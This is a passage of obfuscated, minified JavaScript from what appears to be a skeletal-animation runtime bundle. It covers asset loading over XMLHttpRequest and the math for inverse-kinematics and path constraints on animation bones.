_0x5e4ae2 = this['rawDataUris'][_0x446d55]; this['finish'](_0x446d55, 0xc8, this['dataUriToString'](_0x5e4ae2)); } catch (_0x793746) { this['finish'](_0x446d55, 0x190, JSON['stringify'](_0x793746)); } return; } let _0x4027a5 = new XMLHttpRequest(); _0x4027a5['overrideMimeType']('text/html'), _0x4027a5['open']('GET', _0x446d55, !0x0); let _0x5cd3b0 = () => { this['finish'](_0x446d55, _0x4027a5['status'], _0x4027a5['responseText']); }; _0x4027a5['onload'] = _0x5cd3b0, _0x4027a5['onerror'] = _0x5cd3b0, _0x4027a5['send'](); } ['downloadJson'](_0x3eb9, _0x29fe17, _0x3f252b) { this['downloadText'](_0x3eb9, _0x30ccd1 => { _0x29fe17(JSON['parse'](_0x30ccd1)); }, _0x3f252b); } ['downloadBinary'](_0x34d908, _0x36b9a1, _0x36e877) { if (this['start'](_0x34d908, _0x36b9a1, _0x36e877)) return; if (this['rawDataUris'][_0x34d908]) { try { let _0x47d67a = this['rawDataUris'][_0x34d908]; this['finish'](_0x34d908, 0xc8, this['dataUriToUint8Array'](_0x47d67a)); } catch (_0x368a0b) { this['finish'](_0x34d908, 0x190, JSON['stringify'](_0x368a0b)); } return; } let _0xc55325 = new XMLHttpRequest(); _0xc55325['open']('GET', _0x34d908, !0x0), _0xc55325['responseType'] = 'arraybuffer'; let _0x3eae10 = () => { this['finish'](_0x34d908, _0xc55325['status'], _0xc55325['response']); }; _0xc55325['onload'] = () => { 0xc8 == _0xc55325['status'] || 0x0 == _0xc55325['status'] ? this['finish'](_0x34d908, 0xc8, new Uint8Array(_0xc55325['response'])) : _0x3eae10(); }, _0xc55325['onerror'] = _0x3eae10, _0xc55325['send'](); } ['start'](_0x3f0851, _0x7647c9, _0x5892fa) { let _0x5f5144 = this['callbacks'][_0x3f0851]; try { if (_0x5f5144) return !0x0; this['callbacks'][_0x3f0851] = _0x5f5144 = []; } finally { _0x5f5144['push'](_0x7647c9, _0x5892fa); } } ['finish'](_0x1490e0, _0xdd26ea, _0x1c3396) { let _0x32c0ec = this['callbacks'][_0x1490e0]; delete this['callbacks'][_0x1490e0]; let _0x37d2f5 = 0xc8 == _0xdd26ea || 0x0 == _0xdd26ea ? [_0x1c3396] : [_0xdd26ea, _0x1c3396]; for (let _0x13b543 = _0x37d2f5['length'] - 0x1, _0x5d74cd = _0x32c0ec['length']; _0x13b543 < _0x5d74cd; _0x13b543 += 0x2)_0x32c0ec[_0x13b543]['apply'](null, _0x37d2f5); } }, _0x1d1b63 = class { constructor(_0x49c1c3, _0x5761a6) { if (this['intValue'] = 0x0, this['floatValue'] = 0x0, this['stringValue'] = null, this['time'] = 0x0, this['volume'] = 0x0, this['balance'] = 0x0, !_0x5761a6) throw new Error('data\x20cannot\x20be\x20null.'); this['time'] = _0x49c1c3, this['data'] = _0x5761a6; } }, _0x3d9433 = class { constructor(_0x11c34a) { this['intValue'] = 0x0, this['floatValue'] = 0x0, this['stringValue'] = null, this['audioPath'] = null, this['volume'] = 0x0, this['balance'] = 0x0, this['name'] = _0x11c34a; } }, _0x10a569 = class { constructor(_0x36daa8, _0x2385cc) { if (this['bendDirection'] = 0x0, this['compress'] = !0x1, this['stretch'] = !0x1, this['mix'] = 0x1, this['softness'] = 0x0, this['active'] = !0x1, !_0x36daa8) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x2385cc) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x36daa8, this['mix'] = _0x36daa8['mix'], this['softness'] = _0x36daa8['softness'], this['bendDirection'] = _0x36daa8['bendDirection'], this['compress'] = _0x36daa8['compress'], this['stretch'] = _0x36daa8['stretch'], this['bones'] = new Array(); for (let _0x28ca95 = 0x0; _0x28ca95 < _0x36daa8['bones']['length']; _0x28ca95++) { let _0x5dd2f7 = _0x2385cc['findBone'](_0x36daa8['bones'][_0x28ca95]['name']); if (!_0x5dd2f7) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x36daa8['bones'][_0x28ca95]['name']); this['bones']['push'](_0x5dd2f7); } let _0x3885b6 = _0x2385cc['findBone'](_0x36daa8['target']['name']); if (!_0x3885b6) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x36daa8['target']['name']); this['target'] = _0x3885b6; } ['isActive']() { return this['active']; } ['update']() { if (0x0 == this['mix']) return; let _0x5934c4 = this['target'], _0x5d66ec = this['bones']; switch (_0x5d66ec['length']) { case 0x1: this['apply1'](_0x5d66ec[0x0], _0x5934c4['worldX'], _0x5934c4['worldY'], this['compress'], this['stretch'], this['data']['uniform'], this['mix']); break; case 0x2: this['apply2'](_0x5d66ec[0x0], _0x5d66ec[0x1], _0x5934c4['worldX'], _0x5934c4['worldY'], this['bendDirection'], this['stretch'], this['data']['uniform'], this['softness'], this['mix']); } } ['apply1'](_0x29c592, _0x549379, _0x107b4c, _0x2ba032, _0x94e49a, _0x5bc3f2, _0x4b35ee) { let _0x585734 = _0x29c592['parent']; if (!_0x585734) throw new Error('IK\x20bone\x20must\x20have\x20parent.'); let _0xcaaf6d = _0x585734['a'], _0x131090 = _0x585734['b'], _0x2eb378 = _0x585734['c'], _0x503cd2 = _0x585734['d'], _0x578f9f = -_0x29c592['ashearX'] - _0x29c592['arotation'], _0x36c1e1 = 0x0, _0x466513 = 0x0; switch (_0x29c592['data']['transformMode']) { case 0x1: _0x36c1e1 = _0x549379 - _0x29c592['worldX'], _0x466513 = _0x107b4c - _0x29c592['worldY']; break; case 0x2: let _0xd54599 = Math['abs'](_0xcaaf6d * _0x503cd2 - _0x131090 * _0x2eb378) / (_0xcaaf6d * _0xcaaf6d + _0x2eb378 * _0x2eb378), _0x370f0d = _0xcaaf6d / _0x29c592['skeleton']['scaleX'], _0x4adb12 = _0x2eb378 / _0x29c592['skeleton']['scaleY']; _0x131090 = -_0x4adb12 * _0xd54599 * _0x29c592['skeleton']['scaleX'], _0x503cd2 = _0x370f0d * _0xd54599 * _0x29c592['skeleton']['scaleY'], _0x578f9f += Math['atan2'](_0x4adb12, _0x370f0d) * _0xbc125['radDeg']; default: let _0x3acf04 = _0x549379 - _0x585734['worldX'], _0x11957d = _0x107b4c - _0x585734['worldY'], _0x3072dc = _0xcaaf6d * _0x503cd2 - _0x131090 * _0x2eb378; _0x36c1e1 = (_0x3acf04 * _0x503cd2 - _0x11957d * _0x131090) / _0x3072dc - _0x29c592['ax'], _0x466513 = (_0x11957d * _0xcaaf6d - _0x3acf04 * _0x2eb378) / _0x3072dc - _0x29c592['ay']; }_0x578f9f += Math['atan2'](_0x466513, _0x36c1e1) * _0xbc125['radDeg'], _0x29c592['ascaleX'] < 0x0 && (_0x578f9f += 0xb4), _0x578f9f > 0xb4 ? _0x578f9f -= 0x168 : _0x578f9f < -0xb4 && (_0x578f9f += 0x168); let _0x5d70e5 = _0x29c592['ascaleX'], _0x1f740a = _0x29c592['ascaleY']; if (_0x2ba032 || _0x94e49a) { switch (_0x29c592['data']['transformMode']) { case 0x3: case 0x4: _0x36c1e1 = _0x549379 - _0x29c592['worldX'], _0x466513 = _0x107b4c - _0x29c592['worldY']; }let _0x55b3ca = _0x29c592['data']['length'] * _0x5d70e5, _0x2bad7a = Math['sqrt'](_0x36c1e1 * _0x36c1e1 + _0x466513 * _0x466513); if (_0x2ba032 && _0x2bad7a < _0x55b3ca || _0x94e49a && _0x2bad7a > _0x55b3ca && _0x55b3ca > 0.0001) { let _0x4d5699 = (_0x2bad7a / _0x55b3ca - 0x1) * _0x4b35ee + 0x1; _0x5d70e5 *= _0x4d5699, _0x5bc3f2 && (_0x1f740a *= _0x4d5699); } } _0x29c592['updateWorldTransformWith'](_0x29c592['ax'], _0x29c592['ay'], _0x29c592['arotation'] + _0x578f9f * _0x4b35ee, _0x5d70e5, _0x1f740a, _0x29c592['ashearX'], _0x29c592['ashearY']); } ['apply2'](_0x123616, _0x41d79b, _0x648325, _0x39106c, _0x143e5d, _0xac9026, _0x5b1bc3, _0x5a946e, _0x48815f) { let _0x2cf99f = _0x123616['ax'], _0x3eaf55 = _0x123616['ay'], _0x4f7917 = _0x123616['ascaleX'], _0x128ce1 = _0x123616['ascaleY'], _0x3bef20 = _0x4f7917, _0x4b33c1 = _0x128ce1, _0x598046 = _0x41d79b['ascaleX'], _0x4110f4 = 0x0, _0x1d409e = 0x0, _0xbd7027 = 0x0; _0x4f7917 < 0x0 ? (_0x4f7917 = -_0x4f7917, _0x4110f4 = 0xb4, _0xbd7027 = -0x1) : (_0x4110f4 = 0x0, _0xbd7027 = 0x1), _0x128ce1 < 0x0 && (_0x128ce1 = -_0x128ce1, _0xbd7027 = -_0xbd7027), _0x598046 < 0x0 ? (_0x598046 = -_0x598046, _0x1d409e = 0xb4) : _0x1d409e = 0x0; let _0x5356cc = _0x41d79b['ax'], _0x3a0caf = 0x0, _0x259330 = 0x0, _0x4182da = 0x0, _0x5b3b11 = _0x123616['a'], _0x2b999f = _0x123616['b'], _0x3fd011 = _0x123616['c'], _0x10917e = _0x123616['d'], _0x26a67c = Math['abs'](_0x4f7917 - _0x128ce1) <= 0.0001; !_0x26a67c || _0xac9026 ? (_0x3a0caf = 0x0, _0x259330 = _0x5b3b11 * _0x5356cc + _0x123616['worldX'], _0x4182da = _0x3fd011 * _0x5356cc + _0x123616['worldY']) : (_0x3a0caf = _0x41d79b['ay'], _0x259330 = _0x5b3b11 * _0x5356cc + _0x2b999f * _0x3a0caf + _0x123616['worldX'], _0x4182da = _0x3fd011 * _0x5356cc + _0x10917e * _0x3a0caf + _0x123616['worldY']); let _0x5c7da7 = _0x123616['parent']; if (!_0x5c7da7) throw new Error('IK\x20parent\x20must\x20itself\x20have\x20a\x20parent.'); _0x5b3b11 = _0x5c7da7['a'], _0x2b999f = _0x5c7da7['b'], _0x3fd011 = _0x5c7da7['c'], _0x10917e = _0x5c7da7['d']; let _0x1c70c2, _0xd00e7a, _0x2a4547 = 0x1 / (_0x5b3b11 * _0x10917e - _0x2b999f * _0x3fd011), _0x26568b = _0x259330 - _0x5c7da7['worldX'], _0x46d7d9 = _0x4182da - _0x5c7da7['worldY'], _0x18541a = (_0x26568b * _0x10917e - _0x46d7d9 * _0x2b999f) * _0x2a4547 - _0x2cf99f, _0x5d7033 = (_0x46d7d9 * _0x5b3b11 - _0x26568b * _0x3fd011) * _0x2a4547 - _0x3eaf55, _0x301a01 = Math['sqrt'](_0x18541a * _0x18541a + _0x5d7033 * _0x5d7033), _0x185993 = _0x41d79b['data']['length'] * _0x598046; if (_0x301a01 < 0.0001) return this['apply1'](_0x123616, _0x648325, _0x39106c, !0x1, _0xac9026, !0x1, _0x48815f), void _0x41d79b['updateWorldTransformWith'](_0x5356cc, _0x3a0caf, 0x0, _0x41d79b['ascaleX'], _0x41d79b['ascaleY'], _0x41d79b['ashearX'], _0x41d79b['ashearY']); _0x26568b = _0x648325 - _0x5c7da7['worldX'], _0x46d7d9 = _0x39106c - _0x5c7da7['worldY']; let _0x2f617f = (_0x26568b * _0x10917e - _0x46d7d9 * _0x2b999f) * _0x2a4547 - _0x2cf99f, _0x28855d = (_0x46d7d9 * _0x5b3b11 - _0x26568b * _0x3fd011) * _0x2a4547 - _0x3eaf55, _0x25eb3e = _0x2f617f * _0x2f617f + _0x28855d * _0x28855d; if (0x0 != _0x5a946e) { _0x5a946e *= _0x4f7917 * (_0x598046 + 0x1) * 0.5; let _0x458183 = Math['sqrt'](_0x25eb3e), _0x229df5 = _0x458183 - _0x301a01 - _0x185993 * _0x4f7917 + _0x5a946e; if (_0x229df5 > 0x0) { let _0x195555 = Math['min'](0x1, _0x229df5 / (0x2 * _0x5a946e)) - 0x1; _0x195555 = (_0x229df5 - _0x5a946e * (0x1 - _0x195555 * _0x195555)) / _0x458183, _0x2f617f -= _0x195555 * _0x2f617f, _0x28855d -= _0x195555 * _0x28855d, _0x25eb3e = _0x2f617f * _0x2f617f + _0x28855d * _0x28855d; } } _0x24eac9: if (_0x26a67c) { _0x185993 *= _0x4f7917; let _0xa713b6 = (_0x25eb3e - _0x301a01 * _0x301a01 - _0x185993 * _0x185993) / (0x2 * _0x301a01 * _0x185993); _0xa713b6 < -0x1 ? (_0xa713b6 = -0x1, _0xd00e7a = Math['PI'] * _0x143e5d) : _0xa713b6 > 0x1 ? (_0xa713b6 = 0x1, _0xd00e7a = 0x0, _0xac9026 && (_0x5b3b11 = (Math['sqrt'](_0x25eb3e) / (_0x301a01 + _0x185993) - 0x1) * _0x48815f + 0x1, _0x3bef20 *= _0x5b3b11, _0x5b1bc3 && (_0x4b33c1 *= _0x5b3b11))) : _0xd00e7a = Math['acos'](_0xa713b6) * _0x143e5d, _0x5b3b11 = _0x301a01 + _0x185993 * _0xa713b6, _0x2b999f = _0x185993 * Math['sin'](_0xd00e7a), _0x1c70c2 = Math['atan2'](_0x28855d * _0x5b3b11 - _0x2f617f * _0x2b999f, _0x2f617f * _0x5b3b11 + _0x28855d * _0x2b999f); } else { _0x5b3b11 = _0x4f7917 * _0x185993, _0x2b999f = _0x128ce1 * _0x185993; let _0x493a63 = _0x5b3b11 * _0x5b3b11, _0x272e2c = _0x2b999f * _0x2b999f, _0x29bbff = Math['atan2'](_0x28855d, _0x2f617f); _0x3fd011 = _0x272e2c * _0x301a01 * _0x301a01 + _0x493a63 * _0x25eb3e - _0x493a63 * _0x272e2c; let _0x14f010 = -0x2 * _0x272e2c * _0x301a01, _0x1dbbcc = _0x272e2c - _0x493a63; if (_0x10917e = _0x14f010 * _0x14f010 - 0x4 * _0x1dbbcc * _0x3fd011, _0x10917e >= 0x0) { let _0x497e69 = Math['sqrt'](_0x10917e); _0x14f010 < 0x0 && (_0x497e69 = -_0x497e69), _0x497e69 = 0.5 * -(_0x14f010 + _0x497e69); let _0x27967b = _0x497e69 / _0x1dbbcc, _0x53eead = _0x3fd011 / _0x497e69, _0x5430da = Math['abs'](_0x27967b) < Math['abs'](_0x53eead) ? _0x27967b : _0x53eead; if (_0x5430da * _0x5430da <= _0x25eb3e) { _0x46d7d9 = Math['sqrt'](_0x25eb3e - _0x5430da * _0x5430da) * _0x143e5d, _0x1c70c2 = _0x29bbff - Math['atan2'](_0x46d7d9, _0x5430da), _0xd00e7a = Math['atan2'](_0x46d7d9 / _0x128ce1, (_0x5430da - _0x301a01) / _0x4f7917); break _0x24eac9; } } let _0x485b59 = _0xbc125['PI'], _0x568cb9 = _0x301a01 - _0x5b3b11, _0x299f93 = _0x568cb9 * _0x568cb9, _0x2c59bc = 0x0, _0x4abf93 = 0x0, _0x2b207c = _0x301a01 + _0x5b3b11, _0x420738 = _0x2b207c * _0x2b207c, _0x50c7b7 = 0x0; _0x3fd011 = -_0x5b3b11 * _0x301a01 / (_0x493a63 - _0x272e2c), _0x3fd011 >= -0x1 && _0x3fd011 <= 0x1 && (_0x3fd011 = Math['acos'](_0x3fd011), _0x26568b = _0x5b3b11 * Math['cos'](_0x3fd011) + _0x301a01, _0x46d7d9 = _0x2b999f * Math['sin'](_0x3fd011), _0x10917e = _0x26568b * _0x26568b + _0x46d7d9 * _0x46d7d9, _0x10917e < _0x299f93 && (_0x485b59 = _0x3fd011, _0x299f93 = _0x10917e, _0x568cb9 = _0x26568b, _0x2c59bc = _0x46d7d9), _0x10917e > _0x420738 && (_0x4abf93 = _0x3fd011, _0x420738 = _0x10917e, _0x2b207c = _0x26568b, _0x50c7b7 = _0x46d7d9)), _0x25eb3e <= 0.5 * (_0x299f93 + _0x420738) ? (_0x1c70c2 = _0x29bbff - Math['atan2'](_0x2c59bc * _0x143e5d, _0x568cb9), _0xd00e7a = _0x485b59 * _0x143e5d) : (_0x1c70c2 = _0x29bbff - Math['atan2'](_0x50c7b7 * _0x143e5d, _0x2b207c), _0xd00e7a = _0x4abf93 * _0x143e5d); } let _0x183cd3 = Math['atan2'](_0x3a0caf, _0x5356cc) * _0xbd7027, _0x61ef2d = _0x123616['arotation']; _0x1c70c2 = (_0x1c70c2 - _0x183cd3) * _0xbc125['radDeg'] + _0x4110f4 - _0x61ef2d, _0x1c70c2 > 0xb4 ? _0x1c70c2 -= 0x168 : _0x1c70c2 < -0xb4 && (_0x1c70c2 += 0x168), _0x123616['updateWorldTransformWith'](_0x2cf99f, _0x3eaf55, _0x61ef2d + _0x1c70c2 * _0x48815f, _0x3bef20, _0x4b33c1, 0x0, 0x0), _0x61ef2d = _0x41d79b['arotation'], _0xd00e7a = ((_0xd00e7a + _0x183cd3) * _0xbc125['radDeg'] - _0x41d79b['ashearX']) * _0xbd7027 + _0x1d409e - _0x61ef2d, _0xd00e7a > 0xb4 ? _0xd00e7a -= 0x168 : _0xd00e7a < -0xb4 && (_0xd00e7a += 0x168), _0x41d79b['updateWorldTransformWith'](_0x5356cc, _0x3a0caf, _0x61ef2d + _0xd00e7a * _0x48815f, _0x41d79b['ascaleX'], _0x41d79b['ascaleY'], _0x41d79b['ashearX'], _0x41d79b['ashearY']); } }, _0x111144 = class extends _0x3a187e { constructor(_0x418ea4) { super(_0x418ea4, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['bendDirection'] = 0x1, this['compress'] = !0x1, this['stretch'] = !0x1, this['uniform'] = !0x1, this['mix'] = 0x1, this['softness'] = 0x0; } set ['target'](_0x1ece7f) { this['_target'] = _0x1ece7f; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('BoneData\x20not\x20set.'); } }, _0x7cd642 = class extends _0x3a187e { constructor(_0x29ad56) { super(_0x29ad56, 0x0, !0x1), this['bones'] = new Array(), this['_target'] = null, this['positionMode'] = _0x224118['Fixed'], this['spacingMode'] = _0x549ad5['Fixed'], this['rotateMode'] = _0x2f99a6['Chain'], this['offsetRotation'] = 0x0, this['position'] = 0x0, this['spacing'] = 0x0, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0; } set ['target'](_0x6f4de4) { this['_target'] = _0x6f4de4; } get ['target']() { if (this['_target']) return this['_target']; throw new Error('SlotData\x20not\x20set.'); } }, _0x224118 = (_0x54dcd7 => (_0x54dcd7[_0x54dcd7['Fixed'] = 0x0] = 'Fixed', _0x54dcd7[_0x54dcd7['Percent'] = 0x1] = 'Percent', _0x54dcd7))(_0x224118 || {}), _0x549ad5 = (_0x3831c9 => (_0x3831c9[_0x3831c9['Length'] = 0x0] = 'Length', _0x3831c9[_0x3831c9['Fixed'] = 0x1] = 'Fixed', _0x3831c9[_0x3831c9['Percent'] = 0x2] = 'Percent', _0x3831c9[_0x3831c9['Proportional'] = 0x3] = 'Proportional', _0x3831c9))(_0x549ad5 || {}), _0x2f99a6 = (_0x2eff6b => (_0x2eff6b[_0x2eff6b['Tangent'] = 0x0] = 'Tangent', _0x2eff6b[_0x2eff6b['Chain'] = 0x1] = 'Chain', _0x2eff6b[_0x2eff6b['ChainScale'] = 0x2] = 'ChainScale', _0x2eff6b))(_0x2f99a6 || {}), _0x3646bc = class { constructor(_0x290242, _0x3bcf78) { if (this['position'] = 0x0, this['spacing'] = 0x0, this['mixRotate'] = 0x0, this['mixX'] = 0x0, this['mixY'] = 0x0, this['spaces'] = new Array(), this['positions'] = new Array(), this['world'] = new Array(), this['curves'] = new Array(), this['lengths'] = new Array(), this['segments'] = new Array(), this['active'] = !0x1, !_0x290242) throw new Error('data\x20cannot\x20be\x20null.'); if (!_0x3bcf78) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['data'] = _0x290242, this['bones'] = new Array(); for (let _0x43dddb = 0x0, _0xcb7f4d = _0x290242['bones']['length']; _0x43dddb < _0xcb7f4d; _0x43dddb++) { let _0x51de57 = _0x3bcf78['findBone'](_0x290242['bones'][_0x43dddb]['name']); if (!_0x51de57) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x290242['bones'][_0x43dddb]['name'] + '.'); this['bones']['push'](_0x51de57); } let _0x61a2a = _0x3bcf78['findSlot'](_0x290242['target']['name']); if (!_0x61a2a) throw new Error('Couldn\x27t\x20find\x20target\x20bone\x20' + _0x290242['target']['name']); this['target'] = _0x61a2a, this['position'] = _0x290242['position'], this['spacing'] = _0x290242['spacing'], this['mixRotate'] = _0x290242['mixRotate'], this['mixX'] = _0x290242['mixX'], this['mixY'] = _0x290242['mixY']; } ['isActive']() { return this['active']; } ['update']() { let _0x59ed85 = this['target']['getAttachment'](); if (!(_0x59ed85 instanceof _0x7433b6)) return; let _0xc3691b = this['mixRotate'], _0x55432a = this['mixX'], _0x5575ba = this['mixY']; if (0x0 == _0xc3691b && 0x0 == _0x55432a && 0x0 == _0x5575ba) return; let _0x41d928 = this['data'], _0x17c12d = 0x0 == _0x41d928['rotateMode'], _0x2cdbd9 = 0x2 == _0x41d928['rotateMode'], _0x566112 = this['bones'], _0x5e6d49 = _0x566112['length'], _0x49b000 = _0x17c12d ? _0x5e6d49 : _0x5e6d49 + 0x1, _0x44d9cd = _0x380bba['setArraySize'](this['spaces'], _0x49b000), _0x101e5c = _0x2cdbd9 ? this['lengths'] = _0x380bba['setArraySize'](this['lengths'], _0x5e6d49) : [], _0x234f1c = this['spacing']; switch (_0x41d928['spacingMode']) { case 0x2: if (_0x2cdbd9) for (let _0x19f087 = 0x0, _0x477fb0 = _0x49b000 - 0x1; _0x19f087 < _0x477fb0; _0x19f087++) { let _0x12760f = _0x566112[_0x19f087], _0x53349c = _0x12760f['data']['length']; if (_0x53349c < _0x3646bc['epsilon']) _0x101e5c[_0x19f087] = 0x0; else { let _0xa8ca5f = _0x53349c * _0x12760f['a'], _0x546a02 = _0x53349c * _0x12760f['c']; _0x101e5c[_0x19f087] = Math['sqrt'](_0xa8ca5f * _0xa8ca5f + _0x546a02 * _0x546a02); } } _0x380bba['arrayFill'](_0x44d9cd, 0x1, _0x49b000, _0x234f1c); break; case 0x3: let _0x19ff38 = 0x0; for (let _0x5d65b1 = 0x0, _0x5a7fbc = _0x49b000 - 0x1; _0x5d65b1 < _0x5a7fbc;) { let _0x1803da = _0x566112[_0x5d65b1], _0x2e3079 = _0x1803da['data']['length']; if (_0x2e3079 < _0x3646bc['epsilon']) _0x2cdbd9 && (_0x101e5c[_0x5d65b1] = 0x0), _0x44d9cd[++_0x5d65b1] = _0x234f1c; else { let _0x477934 = _0x2e3079 * _0x1803da['a'], _0x124908 = _0x2e3079 * _0x1803da['c'], _0x1ec33c = Math['sqrt'](_0x477934 * _0x477934 + _0x124908 * _0x124908); _0x2cdbd9 && (_0x101e5c[_0x5d65b1] = _0x1ec33c), _0x44d9cd[++_0x5d65b1] = _0x1ec33c, _0x19ff38 += _0x1ec33c; } } if (_0x19ff38 > 0x0) { _0x19ff38 = _0x49b000 / _0x19ff38 * _0x234f1c; for (let _0x2da1c6 = 0x1; _0x2da1c6 < _0x49b000; _0x2da1c6++)_0x44d9cd[_0x2da1c6] *= _0x19ff38; } break; default: let _0x599259 = 0x0 == _0x41d928['spacingMode']; for (let _0x39e923 = 0x0, _0x58109c = _0x49b000 - 0x1; _0x39e923 < _0x58109c;) { let _0x222cf9 = _0x566112[_0x39e923], _0x9714f8 = _0x222cf9['data']['length']; if (_0x9714f8 < _0x3646bc['epsilon']) _0x2cdbd9 && (_0x101e5c[_0x39e923] = 0x0), _0x44d9cd[++_0x39e923] = _0x234f1c; else { let _0x553268 = _0x9714f8 * _0x222cf9['a'], _0x24c212 = _0x9714f8 * _0x222cf9['c'], _0x552daf = Math['sqrt'](_0x553268 * _0x553268 + _0x24c212 * _0x24c212); _0x2cdbd9 && (_0x101e5c[_0x39e923] = _0x552daf), _0x44d9cd[++_0x39e923] = (_0x599259 ? _0x9714f8 + _0x234f1c : _0x234f1c) * _0x552daf / _0x9714f8; } } }let _0x1f0634 = this['computeWorldPositions'](_0x59ed85, _0x49b000, _0x17c12d), _0xe40747 = _0x1f0634[0x0], _0x3794e7 = _0x1f0634[0x1], _0x3bba35 = _0x41d928['offsetRotation'], _0x113514 = !0x1; if (0x0 == _0x3bba35) _0x113514 = 0x1 == _0x41d928['rotateMode']; else { _0x113514 = !0x1; let _0xc57572 = this['target']['bone']; _0x3bba35 *= _0xc57572['a'] * _0xc57572['d'] - _0xc57572['b'] * _0xc57572['c'] > 0x0 ? _0xbc125['degRad'] : -_0xbc125['degRad']; } for (let _0x147820 = 0x0, _0x260e7a = 0x3; _0x147820 < _0x5e6d49; _0x147820++, _0x260e7a += 0x3) { let _0x37391b = _0x566112[_0x147820]; _0x37391b['worldX'] += (_0xe40747 - _0x37391b['worldX']) * _0x55432a, _0x37391b['worldY'] += (_0x3794e7 - _0x37391b['worldY']) * _0x5575ba; let _0xdeaf45 = _0x1f0634[_0x260e7a], _0x1584c5 = _0x1f0634[_0x260e7a + 0x1], _0x27048c = _0xdeaf45 - _0xe40747, _0x225caa = _0x1584c5 - _0x3794e7; if (_0x2cdbd9) { let _0x131cfe = _0x101e5c[_0x147820]; if (0x0 != _0x131cfe) { let _0x3b5aec = (Math['sqrt'](_0x27048c * _0x27048c + _0x225caa * _0x225caa) / _0x131cfe - 0x1) * _0xc3691b + 0x1; _0x37391b['a'] *= _0x3b5aec, _0x37391b['c'] *= _0x3b5aec; } } if (_0xe40747 = _0xdeaf45, _0x3794e7 = _0x1584c5, _0xc3691b > 0x0) { let _0x1c7c72 = _0x37391b['a'], _0x29fe02 = _0x37391b['b'], _0x51b352 = _0x37391b['c'], _0x17d74e = _0x37391b['d'], _0x141b56 = 0x0, _0x1b87f8 = 0x0, _0x17c351 = 0x0; if (_0x141b56 = _0x17c12d ? _0x1f0634[_0x260e7a - 0x1] : 0x0 == _0x44d9cd[_0x147820 + 0x1] ? _0x1f0634[_0x260e7a + 0x2] : Math['atan2'](_0x225caa, _0x27048c), _0x141b56 -= Math['atan2'](_0x51b352, _0x1c7c72), _0x113514) { _0x1b87f8 = Math['cos'](_0x141b56), _0x17c351 = Math['sin'](_0x141b56); let _0x47dbe0 = _0x37391b['data']['length']; _0xe40747 += (_0x47dbe0 * (_0x1b87f8 * _0x1c7c72 - _0x17c351 * _0x51b352) - _0x27048c) * _0xc3691b, _0x3794e7 += (_0x47dbe0 * (_0x17c351 * _0x1c7c72 + _0x1b87f8 * _0x51b352) - _0x225caa) * _0xc3691b; } else _0x141b56 += _0x3bba35; _0x141b56 > _0xbc125['PI'] ? _0x141b56 -= _0xbc125['PI2'] : _0x141b56 < -_0xbc125['PI'] && (_0x141b56 += _0xbc125['PI2']), _0x141b56 *= _0xc3691b, _0x1b87f8 = Math['cos'](_0x141b56), _0x17c351 = Math['sin'](_0x141b56), _0x37391b['a'] = _0x1b87f8 * _0x1c7c72 - _0x17c351 * _0x51b352, _0x37391b['b'] = _0x1b87f8 * _0x29fe02 - _0x17c351 * _0x17d74e, _0x37391b['c'] = _0x17c351 * _0x1c7c72 + _0x1b87f8 * _0x51b352, _0x37391b['d'] = _0x17c351 * _0x29fe02 + _0x1b87f8 * _0x17d74e; } _0x37391b['updateAppliedTransform'](); } } ['computeWorldPositions'](_0x25b921, _0x29fe42, _0x10f979) { let _0x3f78e3 = this['target'], _0x6b6525 = this['position'], _0x4b9ab9 = this['spaces'], _0x31b8f7 = _0x380bba['setArraySize'](this['positions'], 0x3 * _0x29fe42 + 0x2), _0x5901df = this['world'], _0x5f4f16 = _0x25b921['closed'], _0x107358 = _0x25b921['worldVerticesLength'], _0x123ee0 = _0x107358 / 0x6, _0x10b32f = _0x3646bc['NONE']; if (!_0x25b921['constantSpeed']) { let _0x1364f9 = _0x25b921['lengths']; _0x123ee0 -= _0x5f4f16 ? 0x1 : 0x2; let _0x1fd48d, _0x2023b1 = _0x1364f9[_0x123ee0]; switch (0x1 == this['data']['positionMode'] && (_0x6b6525 *= _0x2023b1), this['data']['spacingMode']) { case 0x2: _0x1fd48d = _0x2023b1; break; case 0x3: _0x1fd48d = _0x2023b1 / _0x29fe42; break; default: _0x1fd48d = 0x1; }_0x5901df = _0x380bba['setArraySize'](this['world'], 0x8); for (let _0x1c8628 = 0x0, _0x1b4f8b = 0x0, _0x1c6cde = 0x0; _0x1c8628 < _0x29fe42; _0x1c8628++, _0x1b4f8b += 0x3) { let _0x3ef233 = _0x4b9ab9[_0x1c8628] * _0x1fd48d; _0x6b6525 += _0x3ef233; let _0xf20c4c = _0x6b6525; if (_0x5f4f16) _0xf20c4c %= _0x2023b1, _0xf20c4c < 0x0 && (_0xf20c4c += _0x2023b1), _0x1c6cde = 0x0; else { if (_0xf20c4c < 0x0) { _0x10b32f != _0x3646bc['BEFORE'] && (_0x10b32f = _0x3646bc['BEFORE'], _0x25b921['computeWorldVertices'](_0x3f78e3, 0x2, 0x4, _0x5901df, 0x0, 0x2)), this['addBeforePosition'](_0xf20c4c, _0x5901df, 0x0, _0x31b8f7, _0x1b4f8b); continue; } if (_0xf20c4c > _0x2023b1) { _0x10b32f != _0x3646bc['AFTER'] && (_0x10b32f = _0x3646bc['AFTER'], _0x25b921['computeWorldVertices'](_0x3f78e3, _0x107358 - 0x6, 0x4, _0x5901df, 0x0, 0x2)), this['addAfterPosition'](_0xf20c4c - _0x2023b1, _0x5901df, 0x0, _0x31b8f7, _0x1b4f8b); continue; } } for (; ; _0x1c6cde++) { let _0x2b42b1 = _0x1364f9[_0x1c6cde]; if (!(_0xf20c4c > _0x2b42b1)) { if (0x0 == _0x1c6cde) _0xf20c4c /= _0x2b42b1; else { let _0x3e4f0b = _0x1364f9[_0x1c6cde - 0x1]; _0xf20c4c = (_0xf20c4c - _0x3e4f0b) / (_0x2b42b1 - _0x3e4f0b); } break; } } _0x1c6cde != _0x10b32f && (_0x10b32f = _0x1c6cde, _0x5f4f16 && _0x1c6cde == _0x123ee0 ? (_0x25b921['computeWorldVertices'](_0x3f78e3, _0x107358 - 0x4, 0x4, _0x5901df, 0x0, 0x2), _0x25b921['computeWorldVertices'](_0x3f78e3, 0x0, 